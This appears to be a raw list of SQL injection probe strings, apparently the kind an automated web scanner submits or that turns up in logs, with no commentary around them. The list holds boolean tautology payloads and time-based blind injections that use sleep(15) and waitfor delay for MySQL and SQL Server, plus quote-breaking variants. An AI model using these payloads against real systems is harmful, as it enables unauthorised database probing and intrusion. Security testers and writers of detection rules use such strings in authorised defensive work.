1

-1 OR 2+29-29-1=0+0+0+1

-1' OR 2+521-521-1=0+0+0+1 --

-1' OR 2+741-741-1=0+0+0+1 or 'rx9yL3Fh'='

-1" OR 2+664-664-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 waitfor delay '0:0:15' --

3X3jrvqy'; waitfor delay '0:0:15' --